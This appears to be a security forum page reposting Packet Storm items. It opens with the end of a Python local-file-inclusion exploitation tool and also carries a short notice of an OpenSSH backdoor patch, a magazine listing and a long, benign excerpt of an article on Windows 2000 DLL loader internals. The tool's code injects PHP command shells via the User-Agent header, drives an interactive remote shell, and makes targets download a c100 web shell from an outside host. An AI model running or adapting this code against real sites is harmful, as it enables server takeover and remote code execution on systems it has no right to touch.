read = str(raw_input("PHP File to attempt to read or include(ie config.php)")) sploit = "php://filter/convert.base64-encode/resource=" myurl = url + sploit + read try: req = urllib2.Request(myurl) req.add_header('UserAgent: ','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) pointer = response with open(htmlfile , 'a') as PHPOBJ: PHPOBJ.writelines("<b>PHPStream url: %s</b>" %(myurl)) PHPOBJ.writelines(pointer) if PHPOBJ.writelines(pointer): B64.b64decode(pointer) print("Decoded Base 64 streams have been written to %s" %(b64file)) else: pass except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "10": htmlfile = "LFI_fuzz_custom.html" url = str(raw_input("Site to scan: ")) if url[:7] != "http://": url = "http://"+url else: url = url print("Cleaning up old html files") try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") step = str(raw_input("Custom step to dump application data?(Step meaning ../ ..\ ..// : ")) nullorno = str(raw_input("Scan with nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'y': for fuzz in fuzzer: myurl = url + fuzz + nullbyte print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'n': for lfi in lfi_load: myurl = url + step + lfi print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: pass elif option == "11": banner() info() elif option == "12": print("Bye \nCome back and see me anytime :)") sys.exit(0) else: try: main() except IndexError: print("Random text for error handling") except KeyboardInterrupt: print("Bye ") #############################################################Functions start here##################################################################### def scanner(url, base, outfile): req = urllib2.Request(url) req.add_header('UserAgent: ','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+base) response = urllib2.urlopen(req, timeout=10) html = response with open(outfile , 'a') as h1OBJ: h1OBJ.writelines("<b>Query Used: %s</b>" %(url)) h1OBJ.writelines(html) if h1OBJ.writelines(html): print("Html pages and responses have been written to %s" %(outfile)) else: pass def cleanup(file): print("Clearing old files before starting a new scan") os.remove(file) def option_error(): print("\t\t\t[--]Option error![--]\n\n\t\t[+]Please choose an offered option or exit![+]") usage() def banner(): if sys.platform == "linux" or sys.platform == "linux2": os.system('clear') else: os.system('cls') print("+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("+==+==+==+==+==+ LFI Fuzzer/Exploiter/Log Includer/Shell +==+==+==+==+==+==+==+") print("+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("codes by nullbyt3") def exploit_lfi(url): req = urllib2.Request(url) req.add_header('UserAgent: ','<?php system($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header('UserAgent: ','<?php shell_exec($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header('UserAgent: ','<?php eval($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header('UserAgent: ','<?php exec($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header('UserAgent: ','<?php passthru($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) print("Code has been injected in a total of 5 requests!\nIf all went well you may have a shell waiting for you here:\n\n%s&&cmd={INJECT CODE HERE}" %(url)) def command_shell(site): end = "&&cmd=" cmd = str(raw_input("shell~$: ")) if cmd: try: mycmd = site + end + cmd print("injecting %s" %(cmd)) req = urllib2.Request(mycmd) response = urllib2.urlopen(req, timeout=10) print("Command response: %s" %(response)) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: print("Error executing command. Check for the shell manually") def exploit_environ(url): req = urllib2.Request(url) req.add_header("UserAgent: ","<? system('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php')?>)") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header("UserAgent: ","<?php shell_exec('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php');?>") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header("UserAgent: ","<?php eval('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php');?>") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header("UserAgent: ","<?php exec('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php');?>") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header("UserAgent: ","<?php passthru('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php');?>") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) print("Done in 5 requests.\n\nIf all went well c100 shell should be available in root folder named lol.php: %s/lol.php" %(url)) def info(): print("""\n\n\tLFI_Sploiter is a simple tool to help in the fuzzing for, finding,and exploiting local file inclusions in Linux based PHP applications. Using special encoding and fuzzing techniques lfi_sploiter will scan for some known and some not so known LFI filter bypasses and exploits using some advanced encoding/bypass methods to try to bypass security and achieve its goal which is ultimately, exploiting a Local file inclusion.\n\n In adittion to LFI_Sploiter\'s fuzzing and encoding techniques it also has built in methods for LFI exploitation including /proc/self/environ shell exploit, File descriptor shell and LFI shell via log injection. LFI_Sploiter injects code using different command injection functions in the event that certain functions are disabled\n\n All codes written by nullbyt3 of securityoverride.com or 206.214.216.120/news.php. Report all bugs to nullbyt3@safe-mail.net Respect to TurboBorland, PublicEnemy, CrashOverron, bluechill, Teddy and many more from securityoverride who help me to stay in the game and keep spitting out code\n\n""") def usage(): print("==+==+==+==+==+==+==+==+==+==+==+=USAGE HERE=+==+==+==+==+==+==+==+==+==+==+==+") print("\t\t\troot@h@x0r~$%s " %(sys.argv[0])) print("==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("Directions: To simply run the scan and follow the prompts ") if __name__ == '__main__': if sys.platform == "linux" or sys.platform == "linux2": os.system('clear') else: os.system('cls') sys.exit(main()) Download: http://packetstormsecurity.org/files/download/106912/LFI_fuzzploit-1.1.tar.gz Sursa: Comments ? Packet Storm
  11. OpenSSH 5.5p1 Backdoor Authored by IPSECS This is a patch for OpenSSH version 5.5p1 that adds a magic root password backdoor that also keylogs. Download: http://packetstormsecurity.org/files/download/106930/openssh-5.5p1.patch.tar.gz Sursa: OpenSSH 5.5p1 Backdoor ? Packet Storm
  12. ClubHACK Magazine Issue 22 Authored by clubhack | Site chmag.in ClubHACK Magazine Issue 22 - Topics covered include OWASP Mantra's MoC Crawler, Law relating to Cyberterrorism, Best Practices of Web Application Security, and more. Download: http://packetstormsecurity.org/files/download/106934/clubhack-magazine-nov2012.pdf
  13. Toate videocpliurile aici: http://www.derbycon.com/videos-2011/ Multe suna bine.
  14. Windows 2000: Solving the Mysteries of the Loader Russ Osterlund This article assumes you're familiar with Win32 APIs and C++ SUMMARY DLLs are a cornerstone of the Windows operating system. Every day they quietly perform their magic, while programmers take them for granted. But for anyone who's ever stopped to think about how the DLLs on their system are loaded by the operating system, the whole process can seem like a great mystery. This article explores DLL loading and exposes what really goes on inside the Windows 2000 loader. Knowing how DLLs are loaded and where, and how the loader keeps track of them really comes in handy when debugging your applications. Here that process is explained in detail. Ever since I first encountered a definition of dynamic link libraries in a description of the then-new operating system OS/2, the idea of DLLs has always fascinated me. This beautifully simple concept of modules that could be loaded and unloaded as needed with well-defined interfaces that outlined routines written beforehand and, perhaps by other programmers, was a powerful jolt to me because I was more accustomed to statically linked code in mainframe or MS-DOS programs. And, like many others new to programming for Windows, the first utility I built enumerated DLLs that were already loaded into the system in order to demonstrate this concept at work. Now, even with the Windows world changing at a frenetic pace, employing COM interfaces and their ActiveX components, and moving toward common language runtimes with their assemblies of managed code, the humble DLL remains at the center of things, providing services to the system on an as-needed basis. During this long association with DLLs, I accepted their loading by the operating system as if it were magic and never truly appreciated the amount of work required by LoadLibrary and its variations. This article is an attempt to rectify that oversight by looking inside NTDLL.DLL. Since I do not have access to the source files, much of what I discuss here falls under that nebulous category of undocumented information and is therefore subject to change or obsolescence in future releases of the operating system. The details that I'll cover are based on an examination of the binaries available when I wrote this article, Windows 2000 Professional (Build 2195: Service Pack 1). Access to a properly installed set of debug symbol files, .DBG and .PDB dated July 9, 2000, and working with a suitable debugger will make the information easier to understand. This article can be seen as a precursor to Matt Pietrek's Under The Hood column in the September 1999 issue of MSJ, where Matt writes pseudocode for the operation of LdrpRunInitializeRoutines for Windows NT 4.0 SP3 and describes how a library is initialized and when DllMain gets called. Note that I will refer to this column frequently. My discussion will begin with a brief look at LoadLibrary, starting with LdrLoadDll, and will conclude when LdrpRunInitializeRoutines is invoked. While trying to follow the execution path needed to load a simple DLL using a debugger, you can easily become confused by the numerous unconditional jump statements and lost in the recursion common in the later stages of DLL loading, so I'll guide you carefully through the call to LoadLibrary. Note that all code modules mentioned in this article can be found at the link at the top of this article. All Paths Lead to LoadLibraryExW There are several ways to get to LoadLibraryExW. For example, LoadTypeLibEx and CoLoadLibrary in the COM universe eventually call LoadLibraryExW. The two most familiar routes to LoadLibraryExW are LoadLibraryA and LoadLibraryW. All you need to do is specify one parameter—the name of the DLL—and you are on your way. But if you examine a disassembly of LoadLibraryA and LoadLibraryW, you will discover that they are merely thin wrappers around the more versatile LoadLibraryExA and LoadLibraryExW APIs, respectively. With LoadLibraryA, there is a curious test for the DLL twain_32.dll, but normally two zeroes are passed as the second and third parameters to LoadLibraryExA before continuing. LoadLibraryW is even more direct; the two zeroes are pushed onto the stack and the code moves directly onto LoadLibraryExW. These paths merge with an examination of LoadLibraryExA. There is a call to a helper routine to convert the DLL's name into a Unicode string before the code proceeds onto LoadLibraryExW. LoadLibraryExW is a fairly involved routine which must decide between at least four different variations on the type of DLL-loading that the program wants to perform. In addition to the first parameter (which contains the name of the DLL), and the second parameter (which must be NULL according to the SDK documentation), there is a flag parameter that specifies the action to take when loading the module. You can ignore the flag value LOAD_LIBRARY_AS_DATAFILE, since it does not lead to the desired goal: LdrLoadDll, an API exported by NTDLL.DLL. The remaining valid values—0, DONT_RESOLVE_DLL_REFERENCES, and LOAD_WITH_ALTERED_SEARCH_PATH—all eventually find their way to LdrLoadDll. It is interesting to note that there is no sanity check for the flag parameter that returns something like STATUS_INVALID_PARAMETER if values other than the documented ones are passed to LoadLibraryExW. For example, plugging in a reasonable value such as 4 results in a normal DLL load. In any case, the alternate paths taken with DONT_RESOLVE_DLL_REFERENCES or LOAD_WITH_ALTERED_SEARCH_PATH will be noted later in this article. For now, I will concentrate on the normal case in which dwFlags has a value of 0. There's one more API exported from NTDLL.DLL that leads to LdrLoadDll, but I have found neither documentation for it nor any references to it in existing DLLs. The name of the API is LoadOle32Export. It accepts two parameters, the image base for Ole32.DLL and the name of the routine to find, and it returns the address to the requested function. Whether this is a mysterious secret path or some kind of holdover from past versions of the operating system is uncertain. APIs Exported by NTDLL.DLL Figure 1 lists the exported APIs in NTDLL.DLL beginning with the prefix "Ldr", and Figure 2 lists the internal routines beginning with "Ldrp". The main difference between the names for the LdrXXX and LdrpXXX routines is that the "p" indicates that these functions are private—hidden from the outside world. As you can see by examining the lists, familiar APIs such as GetProcAddress are wrappers around NTDLL exports like LdrGetProcedureAddress. In fact, many APIs in Kernel32 that are familiar to the SDK programmer, such as GetProcAddress, ExitProcess, ExpandEnvironmentStrings, and CreateSemaphore, pass the real work along to an NTDLL surrogate (LdrGetProcedureAddress, NtTerminateProcess, RtlExpandEnvironmentStrings_U, and NtCreateSemaphore, respectively). Now, let's take a close look at LdrLoadDll using DumpBin or my disassembler, PEBrowse (available from http://www.smidgeonsoft.com). 0X77F889A9 PUSH 0X1 0X77F889AB PUSH DWORD PTR [ESP+0X14] 0X77F889AF PUSH DWORD PTR [ESP+0X14] 0X77F889B3 PUSH DWORD PTR [ESP+0X14] 0X77F889B7 PUSH DWORD PTR [ESP+0X14] 0X77F889BB CALL 0X77F887E0 ; SYM:LdrpLoadDll 0X77F889C0 RET 0X10 Do not be deceived by the apparent simplicity of this routine, which looks like merely a wrapper around the internal procedure, LdrpLoadDll (that I'll discuss in the next section). The first parameter points to a wide-string representation of the search path. The second parameter will hold a DWORD with the value of 2 if DONT_RESOLVE_DLL_REFERENCES was specified in the call to LoadLibraryExW. The third parameter contains a pointer to a Unicode string structure that encases the name of the DLL that is to be loaded. The fourth item is an output parameter and will receive the address at which the module was loaded when LdrpLoadDll has finished its work. But what does the fifth parameter, hardcoded with a value of 1, mean? As you will see later, LdrpLoadDll can be called recursively in LdrpSnapThunk. Here, the value means normal processing, but later you will see that a value of 0 means process forwarded APIs. LdrpLoadDll I have provided a small project in the code download for this article that contains a main executable, ingenuously named Test, and three DLLs: TestDll, Forwarder, and Forwarded. The DLLs demonstrate different variations that illustrate some of the scenarios LdrpLoadDll will commonly encounter. See the Readme.txt file in the code download for important information about setting environment variables and predefined breakpoints. Figure 3 shows some of the internal loader routines you will bump into when you pass one of the documented flags to LoadLibraryExW. If you concentrate for a moment on the typical situation (#1 in Figure 3), you will see that there are six subroutines called directly by LdrpLoadDll: LdrpCheckForLoadedDll, LdrpMapDll, LdrpWalkImportDescriptor, LdrpUpdateLoadCount, LdrpRunInitializeRoutines, and LdrpClearLoadInProgress. (I'll discuss the first four subroutines later in this article.) LdrpRunInitializeRoutines has already been described in Matt Pietrek's column, so I won't go into it here. LdrpClearLoadInProgress is briefly mentioned in that column as well. Let's take a high-level look at the steps taken by LdrpLoadDll, which occur as follows: Check to see if the module is already loaded. Map the module and supporting information into memory. Walk the module's import descriptor table (that is, find out what other modules this one is adding). Update the module's load count as well as any others brought in by this DLL. Initialize the module. Clear some sort of flag, indicating that the load has finished. Looking more closely at the routines listed, you will notice that LdrpCheckForLoadedDll can be and is called from several locations. It is therefore reasonable to assume that this is a helper function. Also, note that LdrpSnapThunk and LdrpUpdateLoadCount, as well as the previously mentioned case for LdrpLoadDll, are all candidates for recursion. The code for LdrpLoadDll.cpp contains pseudocode for the operations found in this and the other loader routines. My pseudocode is not a copy of the actual code for LdrpLoadDll and should not be compiled; it represents intelligent guesswork obtained by studying a disassembly of the routine. It also shows how much information can be brought together about any section of code just by taking the time to study the available binaries. The pseudocode by no means covers every detail. In many cases, the variable names were assigned based on their role in the code. Others were taken from parameter descriptions found in Windows NT/2000 Native API Reference by Gary Nebbett (New Riders Publishing, 2000). Take a look at this book to see what takes place inside NTDLL.DLL. It provides a reference for the Nt/Zw routines—the so-called native APIs—and where possible relates these routines back to their Win32 counterparts. Now I'll describe in some detail what happens when your code loads the typical DLL, then I'll throw in a few options for variety. LdrpLoadDll first sets up a __try/__except block, then checks the flag, LdrpInLdrInit. If the flag is turned on, then it sets up a critical section block to prevent updates in the data structures that it will be referencing and modifying. Next, it checks on the length of the incoming DLL's name against the maximum, 532 bytes or 266-wide characters, which is close to the better-known constant MAX_PATH and its value of 260. If the length of the name exceeds the maximum value, then the routine quits with a return code of STATUS_NAME_TOO_LONG. At this point, LdrpLoadDll attempts to locate the position of the period character (dot) in the module's name. If the dot is missing, then the routine appends the string ".dll" to the end of the module's name, assuming this does not exceed the maximum size. There are two items to note here: first, you do not need to pass the .dll extension in your calls to LoadLibrary, and second, some of the features, such as the API-forwarding discussed later in this article, will not work with any extension other than .dll. (For a preview, try the following: change the output name of the Forwarded project to "Forwarded.cpl" and run the test program, making certain that the GetProcAddress stuff is included. You'll see that the GetProcAddress call fails and the messagebox that should display "Hello World!" will not appear!) The test for ShowSnaps and enabling this handy debugging aide on your system were explained in Matt's column. ShowSnaps occupies the second bit position in the Registry value GlobalFlag, located at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager. When enabled, this provides feedback in a debugger's output window about actions the loader is taking. If you decide not to enable "snaps" on your system, then the text strings appearing throughout the code will provide useful diagnostic hints. (In the download is an ASCII text file, LdrSnap(Forwarder).TXT, that includes the snap outputs produced by loading the Forwarder test DLL. Later in the article you will find figures showing this information for Forwarded.DLL and TestDll.DLL.) LdrpLoadDll then constructs a Unicode string of the module's name that will be used by the first subroutine, LdrpCheckForLoadedDll. LdrpCheckForLoadedDll The pseudocode for this routine can be found in LdrpCheckForLoadedDll.cpp. You'll see that the code checks all of the possible lists for loaded DLLs and if the initial search fails, the routine tries the alternative. Following all of the paths in this routine is rather complicated, but the essence of this routine is rather simple to understand. There are two places to start a search: an optimization based on a hash table found inside of NTDLL.DLL, and walking the module list maintained inside the process's environment block (PEB). The definition of the module list and its location in memory will follow shortly. LdrpLoadDll, the calling routine, starts the search by setting the UseLdrpHashTable parameter to 0. Later on, I'll show you a similar case in which the parameter is set to 1 and the hash table is used. If the DllName parameter does not contain a path, the comparison using RtlEqualUnicodeString is made on the simple file name entries. There is a small wrinkle in the search option when the hash table is not used, however. If the incoming DllName contains a path, LdrpCheckForLoadedDll calls on RtlDosSearchPath_U to validate the path, then examines the entries in the module list that contain fully qualified file names. In case you were wondering how the Microsoft .NET Common Language Runtime (CLR) supports side-by-side execution of different versions of the same assembly, this information should give you a head start. If the module is found in the PEB list but contains a load count of 0, LdrpCheckForLoadedDll forces the load by issuing a sequence of commands similar to what will be seen in LdrpMapDll. But describing this sequence now would be jumping too far ahead. If the search has succeeded and the loading DLL is already part of the current process, then LdrpLoadDll has a few remaining details to take care of. The loaded count for this image will be incremented if the module is a DLL and if the loaded count field has not been set to -1 (which seems to mean "do not update the load count.") The module flag will also be cleared of its load-pending bit, which was set by the routine LdrpUpdateLoadCount. LdrpLoadDll will then leave the critical section block and set the ImageBase parameter to the address where the DLL was loaded. More than likely, though, this is not the quick exit you are looking for—unless you are wasting machine cycles by using LoadLibrary to return an HINSTANCE of an already loaded module. Otherwise, GetModuleHandle is a better alternative. Instead, let's see what happens when the search fails. LdrpMapDll Now that LdrpLoadDll knows that the requested DLL has not already been loaded into the process, it calls upon its second helper routine, LdrpMapDll, to perform the duties of finding the DLL's housing (the actual file), loading the DLL into memory (but not initializing it), and creating and adding a structure that I have tagged, MODULEITEM, to the PEB's module list. First, orient yourself in Figure 3 and become familiar with the support routines you can see in LdrpMapDll, (LdrpCheckForKnownDll, LdrpResolveDllName, LdrpCreateDllSection, LdrpAllocateDataTableEntry, LdrpFetchAddressOfEntryPoint, and LdrpInsertMemoryTableEntry). In the file LdrpMapDll.cpp, you will find the pseudocode that shows the fine points of what actually takes place here. LdrpCheckForKnownDll checks to see if the loading DLL can be located in the directory specified in the Unicode string, LdrpKnownDllPath, located at 0x77FCE008. Examining this memory location with a debugger reveals that this variable contains the value "C:\WINNT\SYSTEM32" (or something similar, depending upon how your system is configured). If you start up WinObj (found at http://www.sysinternals.com) or my utility, NtObjects (found at http://www.smidgeonsoft.com), and select View | Executive Objects, you will find an object directory called KnownDlls. Under this directory, you will see the item KnownDllPath (a symbolic-link object) that contains the value for your system. LdrpCheckForKnownDll allocates two Unicode strings to hold the fully qualified DLL file name and the file name by itself. By calling NtOpenSection with the fully qualified file name, a FileExists operation is performed and LdrpCheckForKnownDll returns a section handle if the DLL is known. Otherwise, the two Unicode strings are freed and LdrpMapDll must call on the services of LdrpResolveDllName and LdrpCreateDllSection. LdrpResolveDllName returns two Unicode strings, the loading DLL's file name and its fully qualified file name. If a search path was not provided, the routine uses the path found at the hardcoded address 0X77FCE30C in NTDLL.DLL, which points to a default search path. RtlDosSearchPath_U, though, performs the real work in this routine. If RtlDosSearchPath_U can find the loading DLL, it returns the length of the path where it resolved the DLL's name. If you try to load a DLL that cannot be found in the search path, the search returns 0. LdrpMapDll then responds to this result and returns with the status code STATUS_DLL_NOT_FOUND, which leads to a quick exit from LdrpLoadDll. If you change the test program so that it tries to load a DLL with the name "bogus," you can check this for yourself. Assuming all is well and the loading DLL has been found, LdrpCreateDllSection must take over and create the all important section handle. Since sections are classified as kernel objects, the path needs to be converted into something that the Executive Object Manager can understand. This is where the routine RtlDosPathNameToNtPathName comes into play. It takes a fully qualified file name "C:\Projects\LoadLibrary\Debug\TestDll.dll" and returns something like "\??\C:\Projects\LoadLibrary\Debug\TestDll.dll." If the file name cannot be interpreted, then the routine returns STATUS_OBJECT_PATH_SYNTAX_BAD and ends execution. LdrpCreateDllSection is just a thin wrapper around the so-called native API, NtCreateSection. First, a file handle is obtained with NtOpenFile. If that call fails, then a return code of STATUS_INVALID_IMAGE_FORMAT is generated. Otherwise, the Object Manager creates the section handle and the file handle is closed via NtClose. Now that LdrpMapDll has the section handle, it can actually load the DLL into the process's address. The DLL is brought in as a memory-mapped file through the services of NtMapViewOfSection. First, the defaults are set for the base address and the size of the mapping object—with the latter, a value of 0 indicates to the system that the entire section object will be mapped. Then, a field in the PEB reserved for subsystem calls is loaded with the value of the fully qualified file name. Those of you who have written debug loops and have handled the debug event LOAD_DLL_DEBUG_EVENT may be interested to know that the lpImageName field of the LOAD_DLL_DEBUG_INFO structure is filled with the contents of this field, which is reserved for subsystem calls in the process that's being debugged. Now, NtMapViewOfSection is called. This triggers the notification of the loading DLLs as seen in debuggers like the one in Visual C++. LdrpMapDll restores the previous value of the PEB's subsystem data field and checks on the success of the operation. If the DLL has been successfully mapped, LdrpMapDll now possesses an actual memory address with which it can work. How NtMapViewOfSection returns the image base when no hint was passed to it is a question that could be resolved with further exploration. PEB Load List After a sanity check on the image now mapped into memory, LdrpMapDll continues with some bookkeeping. Earlier I mentioned a data structure I named MODULEITEM that is created and added to the process's PEB. In the code for LdrpLoadDll.h you will find a reconstruction of this structure. The job of LdrpAllocateDataTableEntry is to allocate this object and initialize the ImageBase field using three values: the HMODULE handle returned by NtMapViewOfSection, the ImageSize field using the SizeOfImage value found in the portable executable (PE) file's optional header, and the TimeDateStamp from the equivalent field in the PE file header. If the memory allocation fails, the routine returns a NULL pointer. LdrpMapDll then removes the file mapping, closes the section handle, and fails, returning STATUS_NO_MEMORY. Assuming that all is well, the LoadCount field in the newly built ModuleItem is zeroed out and ModuleFlags gets initialized. (LdrpLoadDll.h provides the possible values for this field.) The two Unicode string fields containing the full path to the DLL and the file name are filled in. Then a call placed to the small helper routine, LdrpFetchAddressOfEntryPoint, inserts the structure's EntryPoint field. With the ModuleItem partially initialized, LdrpMapDll calls LdrpInsertMemoryTableEntry to insert the entry into the process's module list located in the PEB. At offset 0x0C in the PEB, which can usually be found at the address of 0x7FFDF000, you will find the pointer to a structure I have named MODULELISTHEADER. Windows NT and Windows 2000 maintain three doubly linked lists that describe the load, memory, and initialization order for the modules in a process. If you have ever used the PSAPI routines or the newly available ToolHelp32 functions in Windows 2000 to enumerate the modules loaded in a process's address space, you should be having an epiphany. You have an alternate method to gather this information, in three different flavors, by using ReadProcessMemory and these undocumented structures. These structures have remained stable from Windows NT 4.0 through Windows 2000, and through the betas for Windows XP that were available when I did the research for this article. LdrpInsertMemoryTableEntry adds the ModuleItem structure to the end of the load and memory chains and fixes up the links appropriately. In my experience, I have found that the load and memory chains possess the same order; only the initialization list varies with its own order of the modules. See Matt Pietrek's column for more information on the initialization chain. Returning to LdrpMapDll, you can now see the ModuleFlags field receiving some additional attention. If the executable is not IMAGE_FILE_LARGE_ADDRESS_AWARE and it is not of type IMAGE_DLL, the EntryPoint field gets zeroed out. LdrpMapDll tests the return value from NtMapViewOfSection to determine if the image was loaded at its preferred image base. Unfortunately, scenarios in which your DLL is parked in a different location is beyond the scope of this discussion, but now you know the way, so you can investigate this phenomenon on your own. Finally, after a validation of the image on multiprocessor systems, LdrpMapDll closes the section handle obtained from LdrpCreateDllSection and returns with the results of its work. The validation only proceeds if your DLL contains data in the directory IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG and the LockPrefixTable field in this directory is nonzero. (NTDLL and Kernel32 contain the IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG directory.) You can use PEBrowse to examine this directory, and those of you fortunate enough to have a multiprocessor machine can continue your own exploration down this path. LdrpWalkImportDescriptor You may think that the route through LdrpLoadDll has been relatively straight and uncomplicated so far. But there still may be a maze of passages ahead. Your attempt to load LdrpLoadDll may have generated the need for additional modules, and this is where LdrpWalkImportDescriptor comes in. (In order to better understand my pseudocode, it will help to have some knowledge of the PE header definitions found in WinNt.h, especially those relevant to imports and exports. You can take a look at "Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format" by Matt Pietrek in the February 2002 issue of MSDN Magazine. Your typical module load takes you through the twists and turns of LdrpWalkImportDescriptor. However, if you specify DONT_RESOLVE_DLL_REFERENCES in your call to LoadLibraryExW, then you will avoid the upcoming maze. You should read the SDK documentation carefully to make certain that this is what you want. There is also a mechanism, which I'll explain later, to help you avoid the loops and recursion that are part of LdrpSnapIAT and LdrpSnapThunk. But if you don't take either of these alternatives, then you need to know what happens with LdrpWalkImportDescriptor. Orient yourself once again by reexamining Figure 3, locating LdrpWalkImportDescriptor. LdrpWalkImportDescriptor has two subroutines: LdrpLoadImportModule and LdrpSnapIAT. This does not seem so bad, but one tip-off that this code will soon become interesting is that there are four nesting levels in the routines for LdrpSnapIAT. The number and depth of nested functions is one metric that indicates the complexity of code. You should take note that recursion is possible in not one, but two locations in LdrpSnapIAT. You may recall that in the section on APIs exported by NTDLL.DLL I mentioned the apparent simplicity of the call to LdrpLoadDll and the fifth parameter that took a 0 or a 1. LdrpSnapIAT can also be recursive inside LdrpGetProcedureAddress. Finally, to make things even more complex than they already were, it's possible that a typical DLL may import other modules that start a cascade of additional library loads. The loader will need to loop through each module, checking to see if it needs to be loaded and then checking its dependencies. With that in mind, let's take a look at the pseudocode found in LdrpWalkImportDescriptor.cpp. (If you are following along with the debugger, change the test program to load the Forwarded.DLL module and restart the debugger.) Execution starts with two calls to RtlImageDirectoryEntryToData to locate the Bound Imports Descriptor and the regular Import Descriptor tables. For the moment, ignore the call for that bound import thing except to notice that the code checks for its presence first. (I'll discuss binding later.) In Forwarded.DLL, LdrpWalkImportDescriptor detects two imported modules, User32.DLL and Kernel32.DLL, and now calls upon LdrpLoadImportModule for assistance. LdrpLoadImportModule constructs a Unicode string for each DLL found in the import table and then employs LdrpCheckForLoadedDll, using the hash table in NTDLL that was mentioned earlier to see if they have already been loaded. Note that the call here is made with only the file name (no fully qualified path) and the process's search path. If you have ever had your application complain that it cannot find a DLL, you should realize that it may not be the loading module's fault. Check to see that all of its dependent modules can be found. If a module is found and already loaded, life is good because there is one less module to worry about. If it has not been loaded, then you've found an instance of recursion. A call to LdrpMapDll to bring the DLL into the process' address space is followed by a call to LdrpWalkImportDescriptor. Now you're in the middle of the twisting mazes I mentioned. The IAT and Forwarded API Processing Once LdrpWalkImportDescriptor knows that the module is in memory (either through a call to LoadLibraryExW way back at the beginning or via the LdrpMapDll call in LdrpLoadImportModule), the next step is to examine each and every API referenced in Forwarded's imported module list with the call to LdrpSnapIAT. Why is this necessary? There are two reasons. First, you want to replace the placeholders in the Import Address Table (IAT) with real entry points. Second, you need to locate and process APIs that may have been forwarded on to another DLL. (Forwarding is one technique Microsoft employs to expose a common Win32 API set and to hide the low-level differences between the Windows NT and Windows 9x platforms.) You may have observed either in the debug output strings or by carefully stepping through the loader code that at some point during Kernel32 processing, a check on NTDLL.DLL was made. Since just about any DLL with some executable code contains references to Kernel32, you may wonder why this is happening at all. You already know that NTDLL.DLL is loaded into every process. The answer is that Kernel32 contains APIs that are "forwarded" to NTDLL. Refer to Figure 4 for a complete list of these APIs for Kernel32 (version 5.0.2195.1600). You may also notice that the list contains functions that are common requirements for just about any kind of serious programming. Remember, LdrpLoadDll needs to load every module referenced by the loading DLL, including those "hidden" references contained in forwarded APIs. Thus, a reasonable conclusion from all of this is that an import table walk will take place every time you load a DLL—at least for Kernel32's forwarded APIs and for any additional forwarded APIs you may have decided to include in your application! To allow you to experiment with this concept, I have included Forwarder.DLL and Forwarded.DLL in the download, as I've mentioned previously. The code for Forwarder.DLL is extremely simple—a DllMain with an export pragma. If you run DumpBin or PEBrowse on this module, you will see that it exports only one routine, and that the routine is marked with a designation that it is forwarded on to Forwarded.ShowMessage. Now, turn your attention to Forwarded.DLL and take a look at what it exports. You will see a typical DLL with a DllMain and the single API, ShowMessage. However, if you changed the test program to load Forwarder and then observed what happened in the debugger, you might have wondered why no reference to Forwarded appeared. You will encounter this confusion unless you also included the GetProcAddress statement in your compile. Make certain that you include the GetProcAddress line and you will now see that both DLLs are loaded. You're observing another form of delay-load occurring and, perhaps, another example of the optimization that has been done on the loading engine in Windows. Returning to LdrpWalkImportDescriptor, you'll find that it tests several items before calling LdrpSnapIAT. (For the purposes of following the next few steps, change the sample back to use Forwarded.DLL.) If you look 